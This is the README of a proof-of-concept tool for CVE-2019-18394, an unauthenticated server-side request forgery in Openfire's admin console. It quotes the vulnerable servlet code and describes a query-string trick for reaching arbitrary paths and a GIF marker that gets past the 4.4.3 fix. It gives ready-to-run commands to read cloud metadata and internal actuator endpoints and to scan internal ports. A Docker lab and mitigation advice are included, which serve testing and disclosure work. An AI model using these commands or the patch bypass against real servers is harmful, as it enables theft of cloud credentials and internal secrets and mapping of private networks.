
PoC für CVE-2019-18394: nicht authentifizierter Full-Read-SSRF in Openfire <= 4.4.2 FaviconServlet
Nicht authentifizierte Server-Side Request Forgery in Ignite Realtime Openfire 4.4.2 und früher (Admin-Konsole, standardmäßig TCP 9090/9091). Behoben in 4.4.3 (Issue OF-1885).
host wird ohne Validierung in eine ausgehende URL
konkateniert, sodass der Server einen vom Angreifer gewählten HTTP GET ausführt./getFavicon liegt nicht hinter dem AuthCheckFilter der
Admin-Konsole und antwortet selbst dann, wenn sich der Server noch im unkonfigurierten
Setup-Zustand befindet.Nur autorisiertes Testen. Alles hier zielt auf ein lokales Lab ab, das Sie selbst aufsetzen.
org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):
public void doGet(HttpServletRequest request, HttpServletResponse response) {
String host = request.getParameter("host"); // attacker-controlled
host = "gmail.com".equals(host) ? "google.com" : host;
byte[] bytes = getImage(host, defaultBytes);
if (bytes != null) { writeBytesToStream(bytes, response); } // body returned to caller
}
private byte[] getImage(String host, byte[] defaultImage) {
...
byte[] bytes = getImage("http://" + host + "/favicon.ico"); // unvalidated concatenation
...
}
private byte[] getImage(String url) {
...
try (CloseableHttpResponse response = client.execute(getRequest)) {
if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
return EntityUtils.toByteArray(response.getEntity()); // full body, not just an image
}
} ...
}
Nicht authentifiziert. In xmppserver/src/main/webapp/WEB-INF/web.xml ist der Filter
AuthCheck nur auf *.jsp, PluginServlet und dwr-invoker gemappt. FaviconServlet ist auf
den einfachen Pfad /getFavicon gemappt, sodass für ihn kein Auth-Filter ausgeführt wird.
Beliebiger Pfad, nicht nur beliebiger Host. Der Code hardcodet das Suffix /favicon.ico.
Endet host mit einem Query-String, wird dieses Suffix in einen Parameterwert verschoben:
host = of_internal/secret?x= produces http://of_internal/secret?x=/favicon.ico
Das Schema ist auf http:// festgelegt. https://-Ziele sind nicht direkt erreichbar, aber
der Client des Servlets verwendet LaxRedirectStrategy, sodass ein http-Endpunkt, der per
302 weiterleitet, erreichbar ist.
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) { // OF-1885
return null; // withhold non-image bodies
}
return result;
GraphicsUtils.isImage() ist ImageIO.read(bytes) != null, eine Inhaltsprüfung, keine
Zielprüfung. Zwei Dinge überleben den Patch:
/images/server_16x16.gif wird nicht als Baseline verwendet: Ein Server, der sie beim Init
nicht laden konnte, gibt stattdessen einen leeren Fehlschlag-Body zurück, und ein Mismatch der
beiden führt zu falschen Ergebnissen.200, während ein nicht
gemappter Geschwisterpfad mit 404 antwortet, was ein echtes FaviconServlet-Mapping von
einem Catch-all unterscheidet.FaviconServlet cached Treffer und Fehlschläge, verschlüsselt mit dem rohen host, und
schaltet nach zwei Fehlschlägen ab. Das Tool fügt jeder Probe einen eindeutigen
cb=-Cache-Buster hinzu, damit wiederholte Läufe keine veralteten Ergebnisse erhalten.Python-3-Standardbibliothek, keine Abhängigkeiten.
check confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read fetch an arbitrary http:// URL through the target (full-read SSRF)
scan probe internal TCP ports from the target's network position
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json
# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/
# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090
Flags: --callback-host (Adresse, an die das Ziel zurückruft), --listen-bind / --listen-port
(lokaler Listener), --marker-format gif (gibt bild-parsebaren Inhalt zurück, der das
isImage()-Gate von 4.4.3 passiert), --proxy, --json.
Exit-Codes: 0 ok, 1 Finding, 2 Fehler oder nicht verwundbar, 3 nicht eindeutig.
Differentielles Docker-Setup: verwundbares 4.4.2 (Konsole auf :9090), gepatchtes 4.4.3 (auf
:9092) und ein nur intern erreichbarer Dienst, den der Host nicht direkt erreichen kann.
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html
# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
-v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine
docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
gizmotronic/openfire:4.4.2 && docker network connect bridge of442 # VULNERABLE
docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
gizmotronic/openfire:4.4.3 && docker network connect bridge of443 # PATCHED
Das interne nginx hat kein Host-Port-Mapping, sodass ein direkter Abruf vom Host HTTP 000
zurückgibt, aber Openfire kann es erreichen. Das Lesen seines SECRET_FLAG beweist, dass die
Anfrage die Vertrauensgrenze überschritten hat. Auf Docker Desktop erreicht das Ziel Ihren
Listener über host.docker.internal (übergeben Sie dies an --callback-host). Bei nativem
Linux-Docker verwenden Sie die docker0-Gateway-IP oder lassen Sie --callback-host weg, um
automatisch zu erkennen.
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read -t 127.0.0.1:9090 -d http://of_internal/
Jeder Callback kam mit User-Agent: Apache-HttpClient/... (Java/...) an, was bestätigt, dass die
Anfrage vom HTTP-Client von Openfire selbst stammte, nicht vom Tool.
Hinweis: Das gif-Ergebnis bestätigt Full-Read-SSRF, unterscheidet aber nicht zwischen 4.4.2 und 4.4.3, da bildförmige Disclosure auf beiden funktioniert. Verwenden Sie den Standard-Textmarker, um Pre-Fix von Post-Fix zu unterscheiden.
read: 4.4.2 gab das interne SECRET_FLAG preis; 4.4.3 verweigerte die HTML-Seite, gab aber
dennoch ein internes .gif zurück, das über den Pfad-Trick abgerufen wurde.
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal # tear down
Aktualisieren Sie auf Openfire 4.4.3 oder später. Der isImage()-Fix stoppt weder die ausgehende
Anfrage noch die bildförmige Disclosure. Wo die Favicon-Proxy-Funktion nicht benötigt wird,
schränken Sie zusätzlich den Egress vom Openfire-Host ein und platzieren Sie die Admin-Konsole
(9090/9091) hinter Netzwerkkontrollen.
cve_2019_18394_poc.py the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md this document
check schreibt einen JSON-Evidenzdatensatz, wenn --json <file> angegeben wird.
| Target | Marker | Callback | Body disclosed | Verdict | Exit |
|---|
| 4.4.2 (vuln) | text | yes | yes, verbatim | VULNERABLE (unpatched) | 1 |
| 4.4.3 (patched) | text | yes | no, withheld by isImage() | PARTIALLY_MITIGATED (blind SSRF) | 1 |
| 4.4.3 (patched) | gif | yes | yes, image + trailing text | VULNERABLE full-read (see note) | 1 |
| non-Openfire (nginx) | n/a | n/a | n/a | endpoint absent | 2 |